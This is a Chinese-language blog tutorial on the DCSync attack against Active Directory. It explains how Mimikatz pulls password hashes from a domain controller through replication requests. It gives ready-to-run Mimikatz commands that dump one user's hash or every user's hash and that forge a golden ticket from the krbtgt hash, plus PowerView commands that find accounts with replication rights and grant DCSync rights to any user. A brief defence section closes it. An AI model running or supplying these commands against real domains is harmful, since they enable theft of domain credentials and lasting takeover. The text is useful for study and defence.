DCSync攻击

前言

2015 年 8 月,Benjamin Delpy(Mimikatz的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。其功能是模仿一个域控制器 (DC),从真实的域控制器中请求获取数据,例如账号的口令散列值等数据。

DCSync最强大的功能是不用登录域控,即可通过数据同步的方式远程获取指定用户的密码信息。但是DCSync 攻击的对象如果是RODC域控制器(只读域控制器),则会失效,因为RODC与可读写域控制器之间是的复制是单向复制无法请求同步数据。
关于RODC更多内容可以看 https://blog.51cto.com/rainy0426/1787072

原理

在域内,不同DC之间,每15分钟都会有一次域数据的同步。当一个(辅)DC想从(主)DC上获取数据时,就会发送一个GetNCChanges请求,请求的数据包括需要同步的数据。而DCSync就是利用Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求,进而获取到敏感信息。

在此之前想要获取域用户的哈希,需要登录到域控上执行相关代码,而DCSync通过模仿成一个域控,向真实的域控请求数据。实现了不登录域控也可以获取到域控上的数据。

GetNCChanges:当一个DC(成为客户端DC)想从其他DC(成为服务端DC)获取数据时,客户端DC会向服务端DC发起一个GetNCChanges请求。回应的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程,毕竟每次回应的数据有限。

导出域内用户哈希

利用条件

获得以下任意权限

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

或者向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

攻击

lsadump::dcsync /domain:1ight.top /user:test /csv   //只获取哈希
lsadump::dcsync /domain:1ight.top /user:test

拿到域内用户哈希之后就可以进行哈希传递攻击了。

生成金票据

同理我们可以拿到krbtgt的全部信息和密码哈希,然后就可以制作金票了。

kerberos: :golden krbtgt : 0ece4b3a2f 144434c09626 39f62153d 1 admin: admnistrator /domain:1ight. top / sid:S-1-5-21-1533156427-1983827388- 1592268879-502 /ticket : administrator. ticket. bin

导出域内所有用户的hash

获得域内所有用户Hash

.\mimikatz.exe "lsadump::dcsync /domain:1ight.top /all" exit

查找域内拥有复制或更改目录权限的用户
这里要用到powerView脚本

 Import-Module .\powerview.ps1
Get-ObjectAcl -DistinguishedName "dc=1ight,dc=top" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}

如果有管理员权限,可以授予任何用户DCsync权限

Add-ObjectAcl -TargetDistinguishedName "dc=1ight,dc=top" -PrincipalSamAccountName username -Rights DCSync -Verbose

防御

DCSync 攻击的原理是模拟域控制器发起服务器之间的数据同步复制。
最好的防御方法是给域控制器设置白名单。在域内,域控制器的数量、IP地址、MAC 地址是非常明确清晰的资产,将这些资产设置在允许同步的白名单内,非白名单的IP不允许发生数据同步。

Referer

https://www.geekby.xyz/2020/05/dcsync-%E6%94%BB%E5%87%BB/

https://adsecurity.org/?p=2053

《DCSync攻击》上有2条评论

  1. Pingback: Confess2Moon

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注